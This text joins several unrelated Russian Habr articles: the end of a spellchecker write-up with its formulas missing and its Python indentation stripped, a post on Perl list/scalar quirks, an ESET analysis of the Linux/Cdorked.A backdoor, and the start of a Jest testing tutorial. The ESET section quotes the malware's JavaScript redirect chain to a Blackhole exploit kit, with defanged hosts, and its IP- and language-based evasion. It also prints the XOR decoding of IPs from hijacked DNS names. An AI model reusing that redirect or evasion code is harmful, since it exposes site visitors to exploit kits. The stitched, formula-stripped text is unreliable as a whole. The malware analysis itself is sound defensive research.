Мы научились находить  за полиномиальное время — это хорошо. Но нам нужно научиться быстро находить наилучшие слова во всём словаре. Причём наилучшие не по , а по ! На деле нам достаточно получить какой-то разумный топ (например, лучшие 20) слов по , который мы потом отправим в модель языка для выбора наиболее подходящих исправлений (об этом ниже).
Чтобы научиться быстро проходить по всему словарю, заметим, что таблица, представленная выше, будет иметь много общего для двух слов с общими префиксами. Действительно, если мы, исправляя слово «аксесуар», попробуем заполнить её для двух словарных слов «аксессуар» и «аксессуары», мы заметим, что первые девять строк в них вообще не отличаются! Если мы сможем организовать проход по словарю так, что у двух последующих слов будут достаточно длинные общие префиксы, мы сможем круто сэкономить вычисления.
И мы сможем. Давайте возьмём словарные слова и составим из них [trie](https://en.wikipedia.org/wiki/Trie). Идя по нему поиском в глубину, мы получим желаемое свойство: большинство шагов — это шаги от узла к его потомку, когда у таблицы достаточно дозаполнить несколько последних строк.
Этот алгоритм, при некоторых дополнительных оптимизациях, позволяет нам перебирать словарь типичного европейского языка в 50-100 тысяч слов в пределах сотни миллисекунд [2]. А кэширование результатов сделает процесс ещё быстрее.
### Как получить $P(\alpha\rightarrow\beta)$
Вычисление  для всех рассматриваемых фрагментов — самая интересная и нетривиальная часть построения модели ошибок. Именно от этих величин будет зависеть её качество.
Подход, использованный в [2, 4], сравнительно прост. Давайте найдём много пар , где  — правильное слово из словаря, а  — его опечатанный вариант. (Как именно их находить — чуть ниже.) Теперь нужно извлечь из этих пар вероятности конкретных опечаток (замен одних фрагментов на другие).
Для каждой пары возьмём составляющие её  и  и построим соответствие между их буквами, минимизирующее расстояние Левенштейна:
Теперь мы сразу видим замены: а → а, е → и, с → с, с → пустая строка и так далее. Также мы видим замены двух и более символов: ак → ак, се → си, ес → ис, сс → с, сес → сис, есс → ис и прочая, и прочая. Все эти замены необходимо посчитать, причём каждую столько раз, сколько слово s встречается в корпусе (если мы брали слова из корпуса, что очень вероятно).
После прохода по всем парам  за вероятность  принимается количество замен α → β, встретившихся в наших парах (с учётом встречаемости соответствующих слов), делённое на количество повторений фрагмента α.
Как найти пары ? В [4] предлагается такой подход. Возьмём большой корпус сгенерированного пользователями контента (UGC). В случае Google это были просто тексты сотен миллионов веб-страниц; в нашем — миллионы пользовательских поисковых запросов и отзывов. Предполагается, что обычно правильное слово встречается в корпусе чаще, чем любой из ошибочных вариантов. Так вот, давайте для каждого слова находить близкие к нему по Левенштейну слова из корпуса, которые значительно менее популярны (например, в десять раз). Популярное возьмём за , менее популярное — за . Так мы получим пусть и шумный, но зато достаточно большой набор пар, на котором можно будет провести обучение.
Этот алгоритм подбора пар оставляет большое пространство для улучшений. В [4] предлагается только фильтр по встречаемости ( в десять раз популярнее, чем ), но авторы этой статьи пытаются делать опечаточник, не используя какие-либо априорные знания о языке. Если мы рассматриваем только русский язык, мы можем, например, взять [набор словарей русских словоформ](http://speakrus.ru/dict/index.htm) и оставлять только пары со словом , найденном в словаре (не лучшая идея, потому что в словаре, скорее всего, не будет специфичной для сервиса лексики) или, наоборот, отбрасывать пары со словом s, найденном в словаре (то есть почти гарантированно не являющимся опечатанным).
Чтобы повысить качество получаемых пар, я написал несложную функцию, определяющую, используют ли пользователи два слова как синонимы. Логика простая: если слова w и s часто встречаются в окружении одних и тех же слов, то они, вероятно, синонимы — что в свете их близости по Левенштейну значит, что менее популярное слово с большой вероятностью является ошибочной версией более популярного. Для этих расчётов я использовал построенную для модели языка ниже статистику встречаемости триграмм (фраз из трёх слов).
Модель языка
============
Итак, теперь для заданного словарного слова w нам нужно вычислить  — вероятность его использования пользователем. Простейшее решение — взять встречаемость слова в каком-то большом корпусе. Вообще, наверное, любая модель языка начинается с собирания большого корпуса текстов и подсчёта встречаемости слов в нём. Но ограничиваться этим не стоит: на самом деле при вычислении P(w) мы можем учесть также и фразу, слово в которой мы пытаемся исправить, и любой другой внешний контекст. Задача превращается в задачу вычисления , где одно из  — слово, в котором мы исправили опечатку и для которого мы теперь рассчитываем , а остальные  — слова, окружающие исправляемое слово в пользовательском запросе.
Чтобы научиться учитывать их, стоит пройтись по корпусу ещё раз и составить статистику n-грамм, последовательностей слов. Обычно берут последовательности ограниченной длины; я ограничился триграммами, чтобы не раздувать индекс, но тут всё зависит от вашей силы духа (и размера корпуса — на маленьком корпусе даже статистика по триграммам будет слишком шумной).
Традиционная модель языка на основе n-грамм выглядит так. Для фразы  её вероятность вычисляется по формуле
где  — непосредственно частота слова, а  — вероятность слова  при условии, что перед ним идут  — не что иное, как отношение частоты триграммы  к частоте биграммы . (Заметьте, что эта формула — просто результат многократного применения формулы Байеса.)
Иными словами, если мы захотим вычислить , обозначив частоту произвольной n-граммы за , мы получим формулу
Логично? Логично. Однако трудности начинаются, когда фразы становятся длиннее. Что, если пользователь ввёл впечатляющий своей подробностью поисковый запрос в десять слов? Мы не хотим держать статистику по всем 10-граммам — это дорого, а данные, скорее всего, будут шумными и не показательными. Мы хотим обойтись n-граммами какой-то ограниченной длины — например, уже предложенной выше длины 3.
Здесь-то и пригождается формула выше. Давайте предположим, что на вероятность слова появиться в конце фразы значительно влияют только несколько слов непосредственно перед ним, то есть что
Положив , для более длинной фразы получим формулу
Обратите внимание: фраза состоит из пяти слов, но в формуле фигурируют n-граммы не длиннее трёх. Это как раз то, чего мы добивались.
Остался один тонкий момент. Что, если пользователь ввёл совсем странную фразу и соответствующих n-грамм у нас в статистике и нет вовсе? Было бы легко для незнакомых n-грамм положить , если бы на эту величину не надо было делить. Здесь на помощь приходит сглаживание (smoothing), которое можно делать разными способами; однако подробное обсуждение серьёзных подходов к сглаживанию вроде [Kneser-Ney smoothing](https://en.wikipedia.org/wiki/Kneser%E2%80%93Ney_smoothing) выходит далеко за рамки этой статьи.
### Как исправлять фразы
Обговорим последний тонкий момент перед тем, как перейти к реализации. Постановка задачи, которую я описал выше, подразумевала, что есть одно слово и его надо исправить. Потом мы уточнили, что это одно слово может быть в середине фразы среди каких-то других слов и их тоже нужно учесть, выбирая наилучшее исправление. Но в реальности пользователи просто присылают нам фразы, не уточняя, какое слово написано с ошибкой; нередко в исправлении нуждается несколько слов или даже все.
Подходов здесь может быть много. Можно, например, учитывать только левый контекст слова в фразе. Тогда, идя по словам слева направо и по мере необходимости исправляя их, мы получим новую фразу какого-то качества. Качество будет низким, если, например, первое слово оказалось похоже на несколько популярных слов и мы выберем неправильный вариант. Вся оставшаяся фраза (возможно, изначально вообще безошибочная) будет подстраиваться нами под неправильное первое слово и мы можем получить на выходе полностью нерелевантный оригиналу текст.
Можно рассматривать слова по отдельности и применять некий классификатор, чтобы понимать, опечатано данное слово или нет, как это предложено в [4]. Классификатор обучается на вероятностях, которые мы уже умеем считать, и ряде других фичей. Если классификатор говорит, что нужно исправлять — исправляем, учитывая имеющийся контекст. Опять-таки, если несколько слов написаны с ошибкой, принимать решение насчёт первого из них придётся, опираясь на контекст с ошибками, что может приводить к проблемам с качеством.
В реализации нашего опечаточника мы использовали такой подход. Давайте для каждого слова  в нашей фразе найдём с помощью модели ошибок топ-N словарных слов, которые могли иметься в виду, сконкатенируем их во фразы всевозможными способами и для каждой из  получившихся фраз, где  — количество слов в исходной фразе, посчитаем честно величину
Здесь  — слова, введённые пользователем,  — подобранные для них исправления (которые мы сейчас перебираем), а  — коэффициент, определяемый сравнительным качеством модели ошибок и модели языка (большой коэффициент — больше доверяем модели языка, маленький коэффициент — больше доверяем модели ошибок), предложенный в [4]. Итого для каждой фразы мы перемножаем вероятности отдельных слов исправиться в соответствующие словарные варианты и ещё домножаем это на вероятность всей фразы в нашем языке. Результат работы алгоритма — фраза из словарных слов, максимизирующая эту величину.
Так, стоп, что? Перебор  фраз?
К счастью, за счёт того, что мы ограничили длину n-грамм, найти максимум по всем фразам можно гораздо быстрее. Вспомните: выше мы упростили формулу для  так, что она стала зависеть только от частот n-грамм длины не выше трёх:
Если мы домножим эту величину на  и попытаемся максимизировать по , мы увидим, что достаточно перебрать всевозможные  и  и решить задачу для них — то есть для фраз . Итого задача решается динамическим программированием за .
Реализация
==========
### Собираем корпус и считаем n-граммы
Сразу оговорюсь: данных в моём распоряжении было не так много, чтобы заводить какой-то сложный MapReduce. Так что я просто собрал все тексты отзывов, комментариев и поисковых запросов на русском языке (описания товаров, увы, приходят на английском, а использование результатов автоперевода скорее ухудшило, чем улучшило результаты) с нашего сервиса в один текстовый файл и поставил сервер на ночь считать триграммы простым скриптом на Python.
В качестве словарных я брал топ слов по частотности так, чтобы получалось порядка ста тысяч слов. Исключались слишком длинные слова (больше 20 символов) и слишком короткие (меньше трёх символов, кроме захардкоженных известных русских слов). Отдельно пощадил слова по регулярке `r"^[a-z0-9]{2}$"` — чтобы уцелели версии айфонов и другие интересные идентификаторы длины 2.
При подсчёте биграмм и триграмм во фразе может встретиться несловарное слово. В этом случае это слово я выбрасывал и бил всю фразу на две части (до и после этого слова), с которыми работал отдельно. Так, для фразы «*А вы знаете, что такое «абырвалг»? Это… ГЛАВРЫБА, коллега*» учтутся триграммы “а вы знаете”, “вы знаете что”, “знаете что такое” и “это главрыба коллега” (если, конечно, слово “главрыба” попадёт в словарь...).
### Обучаем модель ошибок
Дальше всю обработку данных я проводил в Jupyter. Статистика по n-граммам грузится из JSON, производится постобработка, чтобы быстро находить близкие друг к другу по Левенштейну слова, и для пар в цикле вызывается (довольно громоздкая) функция, выстраивающая слова и извлекающая короткие правки вида сс → с (под спойлером).
**Код на Python**
```
def generate_modifications(intended_word, misspelled_word, max_l=2):
# Выстраиваем буквы слов оптимальным по Левенштейну образом и
# извлекаем модификации ограниченной длины. Чтобы после подсчёта
# расстояния восстановить оптимальное расположение букв, будем
# хранить в таблице помимо расстояний указатели на предыдущие
# ячейки: memo будет хранить соответствие
# i -> j -> (distance, prev i, prev j).
# Дальше немного непривычно страшного Python кода - вот что
# бывает, когда язык используется не по назначению!
m, n = len(intended_word), len(misspelled_word)
memo = [[None] * (n+1) for _ in range(m+1)]
memo[0] = [(j, (0 if j > 0 else -1), j-1) for j in range(n+1)]
for i in range(m + 1):
memo[i][0] = i, i-1, (0 if i > 0 else -1)
for j in range(1, n + 1):
for i in range(1, m + 1):
if intended_word[i-1] == misspelled_word[j-1]:
memo[i][j] = memo[i-1][j-1][0], i-1, j-1
else:
best = min(
(memo[i-1][j][0], i-1, j),
(memo[i][j-1][0], i, j-1),
(memo[i-1][j-1][0], i-1, j-1),
)
# Отдельная обработка для перепутанных местами
# соседних букв (распространённая ошибка при
# печати).
if (i > 1
and j > 1
and intended_word[i-1] == misspelled_word[j-2]
and intended_word[i-2] == misspelled_word[j-1]
):
best = min(best, (memo[i-2][j-2][0], i-2, j-2))
memo[i][j] = 1 + best[0], best[1], best[2]
# К концу цикла расстояние по Левенштейну между исходными словами # хранится в memo[m][n][0].
# Теперь восстанавливаем оптимальное расположение букв.
s, t = [], []
i, j = m, n
while i >= 1 or j >= 1:
_, pi, pj = memo[i][j]
di, dj = i - pi, j - pj
if di == dj == 1:
s.append(intended_word[i-1])
t.append(misspelled_word[j-1])
if di == dj == 2:
s.append(intended_word[i-1])
s.append(intended_word[i-2])
t.append(misspelled_word[j-1])
t.append(misspelled_word[j-2])
if 1 == di > dj == 0:
s.append(intended_word[i-1])
t.append("")
if 1 == dj > di == 0:
s.append("")
t.append(misspelled_word[j-1])
i, j = pi, pj
s.reverse()
t.reverse()
# Генерируем модификации длины не выше заданной.
for i, _ in enumerate(s):
ss = ts = ""
while len(ss) < max_l and i < len(s):
ss += s[i]
ts += t[i]
yield ss, ts
i += 1
```
Сам подсчёт правок выглядит элементарно, хотя длиться может долго.
### Применяем модель ошибок
Эта часть реализована в виде микросервиса на Go, связанного с основным бэкендом через gRPC. Реализован алгоритм, описанный самими Бриллом и Муром [2], с небольшими оптимизациями. Работает он у меня в итоге примерно вдвое медленнее, чем заявляли авторы; не берусь судить, дело в Go или во мне. Но по ходу профилировки я узнал о Go немного нового.
* Не используйте `math.Max`, чтобы считать максимум. Это примерно в три раза медленнее, чем `if a > b { b = a }`! Только взгляните на [реализацию этой функции](https://github.com/golang/go/blob/1992893307e054602b0e790573a9abab187221b1/src/math/dim.go#L28):
```
// Max returns the larger of x or y.
//
// Special cases are:
// Max(x, +Inf) = Max(+Inf, x) = +Inf
// Max(x, NaN) = Max(NaN, x) = NaN
// Max(+0, ±0) = Max(±0, +0) = +0
// Max(-0, -0) = -0
func Max(x, y float64) float64
func max(x, y float64) float64 {
// special cases
switch {
case IsInf(x, 1) || IsInf(y, 1):
return Inf(1)
case IsNaN(x) || IsNaN(y):
return NaN()
case x == 0 && x == y:
if Signbit(x) {
return y
}
return x
}
if x > y {
return x
}
return y
}
```
Если только вам ВДРУГ не нужно, чтобы +0 обязательно был больше -0, не используйте `math.Max`.
* Не используйте хэш-таблицу, если можете использовать массив. Это, конечно, довольно очевидный совет. Мне пришлось перенумеровывать символы юникода в числа в начале программы так, чтобы использовать их как индексы в массиве потомков узла trie (такой lookup был очень частой операцией).
* Коллбеки в Go недёшевы. В ходе рефакторинга во время код ревью некоторые мои потуги сделать decoupling ощутимо замедлили программу при том, что формально алгоритм не изменился. С тех пор я остаюсь при мнении, что оптимизирующему компилятору Go есть, куда расти.
### Применяем модель языка
Здесь без особых сюрпризов был реализован алгоритм динамического программирования, описанный в разделе выше. На этот компонент пришлось меньше всего работы — самой медленной частью остаётся применение модели ошибок. Поэтому между этими двумя слоями было дополнительно прикручено кэширование результатов модели ошибок в Redis.
Результаты
==========
По итогам этой работы (занявшей примерно человекомесяц) мы провели A/B тест опечаточника на наших пользователях. Вместо 10% пустых выдач среди всех поисковых запросов, которые мы имели до внедрения опечаточника, их стало 5%; в основном оставшиеся запросы приходятся на товары, которых просто нет у нас на платформе. Также увеличилось количество сессий без второго поискового запроса (и ещё несколько метрик такого рода, связанных с UX). Метрики, связанные с деньгами, впрочем, значимо не изменились — это было неожиданно и сподвигло нас к тщательному анализу и перепроверке других метрик.
Заключение
==========
Стивену Хокингу как-то сказали, что каждая включенная им в книгу формула вдвое уменьшит число читателей. Что ж, в этой статье их порядка полусотни — поздравляю тебя, один из примерно  читателей, добравшихся до этого места!
Бонус
=====
### Ссылки
[1] M. D. Kernighan, K. W. Church, W. A. Gale. *[A Spelling Correction Program Based on a Noisy Channel Model](http://www.aclweb.org/anthology/C90-2036)*. Proceedings of the 13th conference on Computational linguistics — Volume 2, 1990.
[2] E.Brill, R. C. Moore. *[An Improved Error Model for Noisy Channel Spelling Correction](http://www.aclweb.org/anthology/P00-1037)*. Proceedings of the 38th Annual Meeting on Association for Computational Linguistics, 2000.
[3] T. Brants, A. C. Popat, P. Xu, F. J. Och, J. Dean. *[Large Language Models in Machine Translation](http://www.aclweb.org/anthology/D07-1090.pdf)*. Proceedings of the 2007 Conference on Empirical Methods in Natural Language Processing.
[4] C. Whitelaw, B. Hutchinson, G. Y. Chung, G. Ellis. *[Using the Web for Language Independent Spellchecking and Autocorrection](https://pdfs.semanticscholar.org/0249/a0a9ff82a83989f770df03d8abdc32312fd6.pdf)*. Proceedings of the 2009 Conference on Empirical Methods in Natural Language Processing: Volume 2. | https://habr.com/ru/post/433554/ | null | ru | null |
# Я просто оставлю это здесь
Я не ставлю цель ~~обо~~ очернить Перл. Я люблю Перл.
Просто **надо различать список и массив** в Перле.
```
use Perl or die;
```
```
#!/usr/bin/perl
use strict;
my $x = ('a', 'b');
print $x;
```
Вывод:
`b`
```
#!/usr/bin/perl
use strict;
my @a = ('a', 'b');
my $x = @a;
print $x;
```
Вывод:
`2`
```
#!/usr/bin/perl
my @a = ('a', 'b');
my ($x) = @a;
print $x;
```
Вывод:
`a`
```
#!/usr/bin/perl
my @a = ('a', 'b');
print scalar @a;
```
Вывод:
`2`
```
#!/usr/bin/perl
print scalar ('a', 'b');
```
Вывод:
`b`
```
#!/usr/bin/perl
$\ = "\n";
my $x = ('a', 'b', 'c');
print "x = $x";
my $x = @{['a', 'b', 'c']};
print "x = $x";
my $x = (@{['a', 'b', 'c']});
print "x = $x";
```
Вывод:
`x = c`
`x = 3`
`x = 3`
```
#!/usr/bin/perl
use strict;
my $x;
my $y;
$y = ($x = ('a', 'b', 'c'));
print "x = $x\n";
print "y = $y\n";
```
`x = с`
`y = с`
```
#!/usr/bin/perl
use strict;
my $x;
my $y;
$y = (($x) = ('a', 'b', 'c'));
print "x = $x\n";
print "y = $y\n";
```
`x = a`
`y = 3`
Я не ставлю цель ~~обо~~ очернить Перл. Я люблю Перл.
```
use Perl or die;
```
Подробности здесь: perldoc perldata, читать с «List value constructors»
---
Оффтоп, из бесед с разными людьми узнал ещё пару примеров:
```
#!/usr/bin/perl
use strict;
use Data::Dumper;
sub test1 {
my %hash;
$hash{shift} = 1;
print Dumper \%hash;
}
sub test2 {
my %hash;
$hash{+shift} = 1;
print Dumper \%hash;
}
test1('test');
test2('test');
```
Вывод:
```
$VAR1 = {
'shift' => 1
};
$VAR1 = {
'test' => 1
};
```
в хэшах имя ключа не обязательно брать в кавычки, оно сразу представляется как строка, унарный плюс же вычисляет операцию +shift, то есть $\_[x], где x — индекс в массиве @\_
---
```
s ggggg;
```
Это эквивалентно
```
s///g;
```
оператор s позволяет заменять / разделители на другие символы, здесь выбран символ g
то есть это s///gg;, что в свою очередь эквивалентно просто s///g; Очевидно здесь стоит пробел после s, чтобы перл различил этот оператор от вызова некоей функции sggggg; Также очевидно, что пробел не может быть разделителем вместо /
Опять же напоминаю про модуль O=Deparse, про которого я говорил в своей статье [Однострочные программы на Perl](http://habrahabr.ru/post/70610/), который всё покажет:
```
perl -MO=Deparse -le "s ggggg;"
```
```
BEGIN { $/ = "\n"; $\ = "\n"; }
s///g;
-e syntax OK
```
---
```
#!/usr/bin/perl
use strict;
use Data::Dumper;
use constant key => 1;
my %hash;
$hash{key} = 1;
print Dumper \%hash;
my %hash2;
$hash2{+key} = 1;
print Dumper \%hash2;
my %hash3;
$hash3{-key} = 1;
print Dumper \%hash3;
```
Вывод:
```
$VAR1 = {
'key' => 1
};
$VAR1 = {
'1' => 1
};
$VAR1 = {
'-key' => 1
};
```
Unary "-" performs arithmetic negation if the operand is numeric. If the operand is an identifier, a string consisting of a minus sign concatenated with the identifier is returned.
Минус работает как минус, если стоит перед числом. Если стоит перед идентификатором, то возвращается строка, состоящая из минуса и идентификатора.
**UPD**: Наверное по началу меня не так поняли и стали минусовать, добавил фразу «Я не ставлю цель...»
**UPD 2**:
Про последний пример. В документации написано
«List assignment in scalar context returns the number of elements
produced by the expression on the right side of the assignment»
то есть если списку что-то присваиваем, то вернётся количество элементов, которые присваиваем списку.
```
$x = (($foo,$bar) = f());
```
в $x положится количество элементов, которые возвращает функция f()
**UPD 3**: Вижу, что люди раскрыли минусомёты, так что, скорее всего, я в течение дня (возможно в 15:00) помещю статью в черновики, дабы не лишиться кармы.
Если статья понравилась, сохраните её.
**UPD 4**: С кармой не так всё плохо, благодарю тех, кто поддержал меня, добавил ещё примеров с hash{shift} и s ggggg;
**UPD 5(28.08.2012)**: Добавил пример унарным минусом. | https://habr.com/ru/post/150140/ | null | ru | null |
# Linux/Cdorked.A: веб-серверы под управлением Lighttpd и nginx под угрозой
В прошлой части нашего исследования мы обещали опубликовать продолжение анализа инцидента заражений серверов под управлением Linux с участием бэкдора **Linux/Cdorked.A**. Мы уже [писали](http://habrahabr.ru/company/eset/blog/178197/), что специалистами нашей лаборатории была установлена его главная задача, которая заключается в перенаправлении пользователей веб-сервера на вредоносные веб-сайты. Расследуя более детально этот инцидент мы пришли к следующим выводам:
* Всего было выявлено более 400 веб-серверов, зараженных Linux/Cdorked.A. Кроме того, 50 из них осуществляют хостинг для веб-сайтов, которые входят в Alexa ТОП 100,000 самых популярных веб-сайтов.
* Бэкдор осуществлял компрометацию веб-серверов не только под управлением Apache, но и Lighttpd, а также nginx.
* По данным наших систем телеметрии, эта угроза была активна уже с декабря 2012 г.
* Бэкдор использует дополнительные механизмы для обеспечения своей скрытности. В частности, нами было установлено, что вредоносный код не будет осуществлять перенаправление пользователей, если IP-адрес клиента находится в диапазоне адресов, указанных в черном списке. Этот черный список является довольно большим и включает в себя адреса, принадлежащие таким странам как Япония, Финляндия, Россия, Украина, Казахстан и Белоруссия. Кроме этого, проверка страны также выполняется по анализу HTTP-заголовка и параметру Accept-Language.
* Наша облачная технология показывает почти 100,000 пользователей AV-продуктов ESET, которые перенаправлялись на ссылки, сгенерированные скомпрометированными веб-серверами. При этом такое перенаправление на вредоносное содержимое было заблокировано антивирусом.
* В некоторых случаях мы наблюдали специальные перенаправления для платформ Apple iPad и iPhone.
В этом посте мы хотим остановиться более детально на возможностях этого бэкдора, которые были выявлены в процессе анализа, а также опишем более подробно доставляемый пользователям вредоносный контент и схему организации перенаправления пользователя на набор эксплойтов.
Следует отметить, что мы не знаем наверняка каким образом бэкдор попадал на серверы. Возможно вектор этой атаки не был уникальным. В то же время мы не можем сказать, что для его установки использовалась брешь в настройках cPanel, поскольку не все скомпрометированные сервера находились под его управлением. Бэкдор не имеет механизмов самораспространения и не использует уязвимость в ПО на сервере для своей установки.
На следующих скриншотах показаны места в коде бэкдора, в которых и осуществляется открытие удаленного доступа на сервер. Различные типы бинарных файлов, замещаяющие легальные файлы Lighttpd, nginx и Apache.
**Lighttpd**
**nginx**
**Apache**
Код бэкдора выглядит идентичным во всех трех вариантах, но перехваты, используемые внутри некоторых функций, различны, поскольку зависят от выбранного сервера и его структур данных.
**Возможности бэкдора**
Мы уже упоминали про команды, поддерживаемые бэкдором. В этом анализе мы остановимся на них более подробно.
Эти списки хранятся в области общей памяти, доступ к которой можно получить используя наш инструмент для анализа. Перечисленные в таблице настройки действительно дают атакующим прекрасную возможность точной настройки своего вредоносного кода при выборе целей для атаки. Linux/Cdorked.A хранит список IP-адресов уже перенаправленных клиентов с указанием времени перенаправления. Это позволяет избежать повторного перенаправления в течение указанного промежутка времени. Ни одна из этих настроек не хранится в файле на диске и модификация каждой из них выполняется через специальные HTTP-запросы, обрабатываемые бэкдором.
**Типичная конфигурация бэкдора**
С помощью системных администраторов, которые приняли участие в расследовании случаев инцидента компрометации веб-сервера, а также специалистов компании [Sucuri](http://sucuri.net/) мы смогли получить дампы регионов памяти, в которых Linux/Cdorked.A хранит свою информацию о конфигурации. Пример одного из таких дампов:
Пока нам не удалось получить ни одной конфигурации Linux/Cdorked.A, в которой бы содержалось более одного URL, используемого для перенаправления клиентов. Указанный редирект применяется к клиентам, которые осуществляют запросы к серверу, работая под браузерами Internet Explorer или Firefox на Windows XP, Vista, Seven. Пользователи Apple iPhone и iPad также оказались под прицелом, однако вместо перенаправления на набор эксплойтов, к ним применялась тактика перенаправления на веб-страницу с ссылками на порнографические веб-сайты. Следующий скриншот демонстрирует редирект на iPhone.
Мы уже упоминали, что конфигурация Linux/Cdorked.A включает в себя обширный черный список диапазона IP-адресов. Посетители скомпрометированного веб-сервера, пришедшие с одного из таких адресов никогда не будут перенаправлены на вредоносное содержимое. Фактически в конфигурациях бэкдора, которые мы наблюдали, блокированию подвергалось количество IP-адресов, которое представляет 50% от всех возможных адресов пространства IP v4. Клиент также не подвергается перенаправлению, если язык, установленный в поле Accept-Language HTTP-заголовка браузера, находится в черном списке. В такой список попадают языки:
* ja, jp – японский;
* fi – финский;
* ru – русский;
* uk – украинский;
* be – белорусский;
* kk – казахский;
Фактически злоумышленники специально ограничили географию распространения бэкдора, поскольку бесконтрольное заражение пользователей могло бы отрицательно сказаться на поддержании уже скомпрометированных серверов и наведение лишних подозрений.
**Статистика перенаправлений**
На самом деле эти вредоносные редиректы имеют нечто общее: в случае с Blackhole, при перенаправлении клиентов указывается часть «/info/last» в шаблоне URL-адреса. В наиболее ранних следах вредоносной активности, которые мы отследили, используется именно шаблон, в котором указана часть «/info/last», при этом использовались идентичные шаблоны DNS, о которых будет рассказано далее.
После анализа трафика, мы обнаружили более 400 веб-серверов, которые пострадали от деятельности Linux/Cdorked.A. При этом 50 из них осуществляют хостинг для веб-сайтов, которые входят в Alexa ТОП 100,000 самых популярных веб-сайтов. После публикации первой части нашего анализа, некоторые владельцы этих серверов произвели очистку серверов от этой угрозы.
Linux/Cdorked.A поддерживает временные метки последнего случая перенаправления для каждого IP-адреса. Мы смогли извлечь эту информацию из дампа памяти для того, чтобы оценить сколько редиректов один сервер может сделать в течение дня. Один из таких дампов содержал информацию о сервере, который осуществил более 28,000 редиректов за 24 часа. Такие серверы активны не все время, ниже показана статистика по перенаправлениям для нескольких серверов.
**DNS Hijacking**
Адреса URL-серверов, используемых бэкдором для перенаправлений, часто меняются. Однако здесь есть несколько закономерностей:
* Обычно путь к домену имеет вид: [числа, a, b или c][символы].[tld].
* Домен следующего уровня всегда имеет длину 16-ти hex символов.
Определенный формат поддоменов и тот факт, что они постоянно менялись дает нам основания полагать, что некоторые DNS-серверы были скомпрометированы. Мы провели несколько тестов, в которых сами модифицировали символы поддоменов и в некоторых случаях получили изменение IP-адреса при его трансляции. С некоторыми другими тестами мы смогли подтвердить тот факт, что IP-адрес, возвращаемый через сервис DNS, фактически, закодирован в имени самого поддомена. Для этого используются символы в нечетных позициях, которые формируют 4-х байтовую hex-строку, используемую потом для получения IP-адреса. Алгоритм XOR используется для формирования IP-адреса:
Для этого используется алгоритм.
`byte[] = { 16, 70, 183, 11 } // From the hex string
seed = 49 // This seed changes, we have not yet found where it comes for
ip[0] = seed ^ byte[0] // 33
ip[1] = byte[0] ^ byte[1] // 86
ip[2] = byte[1] ^ byte[2] // 241
ip[3] = byte[2] ^ byte[3] // 188
// This gives us a response with IP 188.241.86.33`
**Цепочка перенаправления**
В случае перенаправления клиента на вредоносное содержимое, он проходит через несколько специальных веб-страниц перед тем как оказаться непосредственно на странице набора эксплойтов Blackhole. На следующем скриншоте представлен пример такой цепочки.
Первая страница /index.php содержит параметр, который зашифрован с использованием base64 и был документирован в нашей предыдущей статье. После декодирования он выглядит следующим образом.
*ljroujxv=isiuzv&time=1305022208-2007115935&src=141&surl=somedomain.com&sport=80&key=ED143377&suri=/tr/zeki.htm.*
Эта страница содержит JavaScript, который перенаправляет пользователя на следующую страницу.
`var iflag = "0"; if (top!=self) { iflag = "1"; };
var b64str = "MTQxNDExMzA1MDIyMjQ4M...luLmNvbS9zb3J0LnBocA==";
setTimeout ( function() { location.replace( "hxxp://ae334b05c4249f38" + iflag
+ b64dec(b64str) ); }, 280);`
URL из второй страницы состоит из трех частей: начальный поддомен, значение параметра iflag и значение переменной b64str, генерируемое сервером. Значение параметра iflag устанавливается в 1, если текущий документ располагается в окне браузера на переднем плане. В таком случае сервер, скорее всего, отклонит запрос. Значение переменной b64str предоставляется сервером и содержит URL-адрес с очень длинной частью поддомена.
*1414113050222483098587bcf02fc1731aade45f74550b.somedomain.com/sort.php*
Третья часть URL содержит специфическую информацию о данном редиректе, такую как ID источника – src id, полученную из начального URL и отметку о времени – timestamp. Назначение остальных символов остается неизвестным.
Третья страница, sort.php, через определенный тайм-аут, направляет пользователя на четвертую страницу, exit.php. Типичная страница sort.php выглядит следующим образом.
`function gotime() { xflag=false; top.location.replace(b64dec("aHR0cDovL2FlMzM0YjA1YzQyNDlmM...
...cD94PTEzNyZ0PXRpbWVvdXQ=")); };
var timer=setTimeout("gotime()", 21000);
var ewq;
ewq=document.createElement("span");
ewq.innerHTML=b64dec("PGlmcmFtZSBzcmM9Im...1lPjxicj4=");
setTimeout(function() { document.body.insertBefore(ewq,document.body.lastChild); }, 504);
aHr...XQ= : hxxp://ae334b05c4249f38014141130...
...50222483098587bcf02fc1731aade45f74550b.somedomain.com/exit.php?x=137&t=timeout`
Эта четвертая страница показывает порнографические картинки и содержит ссылки на порнографические веб-сайты. Также страница содержит iframe, который ведет на страницу Blackhole. Пока непонятно являются ли ссылки на порно-содержание вредоносными или же представляют из себя часть партнерской программы. Ниже представлен iframe, ведущий на landing page Blackhole.
`PGI...j4= :
width="120" height="21" marginwidth="0" marginheight="0" frameborder="0"
scrolling="no" allowtransparency="true">` | https://habr.com/ru/post/179115/ | null | ru | null |
# Разработка через тестирование: улучшаем навыки
Тестирование важный навык, которым должен обладать каждый разработчик. Тем не менее, некоторые делают это неохотно.
Каждый из нас сталкивался с разработчиком, который утверждал, что тесты бесполезны, они требуют слишком много усилий, да и вообще его код настолько превосходен, что никакие тесты не нужны. Не верьте. Тестирование крайне важно.
Тесты делают ваш код стабильнее и уменьшают количество багов. Вам кажется, что это не так, потому что вы знаете каждый бит вашего кода. Ведь вы же его и написали, зачем еще тесты?
Предположим, вы создаете приложение для погоды. Вы писали код несколько дней или недель, поэтому знаете код от и до.
Теперь представим, что вы закончили работу над приложением и вернетесь к нему через несколько месяцев. Вы не будете помнить каждую деталь старого кода. Вы измените его… и черт возьми… что-то сломалось. Как вы это исправите? Посмотрите на каждый созданный файл и настроите его, чтобы он снова работал? Может и получится. Но изменив этот файл, вы сломаете что-то еще.
Возьмем еще один пример. После нескольких месяцев напряженной работы, вы наконец получили позицию, которую давно хотели! Вы включаетесь в команду и начинаете что-то создавать. Вы работаете с кодом других разработчиков и наоборот. И в один день все ломается. Если команда не интегрировала тесты в свое приложение, я вам не завидую.
Каждая команда должна писать тесты, когда создает программное обеспечение или приложения. Вы же не хотите быть человеком, который не знает, как тестировать?
Да, написание тестов требует времени. Да, сначала сложно. Да, создавать приложения интереснее. Но тесты важны и экономят время, если они правильно реализованы.
Моя цель сегодня: улучшить навыки тестирования. Мы рассмотрим unit тестирование и разработку через тестирование с помощью Jest (инструмент тестирования JavaScript). Конечно, есть другие инструменты тестирования, которые вы можете использовать, например, Mocha и Chai.
**Давайте начнем!**
### Unit тестирование
Когда вы решаете протестировать приложение, вы сталкиваетесь с различными типами тестирования: unit тестирование (модульное), интеграционные тесты и функциональные тесты. Остановимся на модульных тестах.
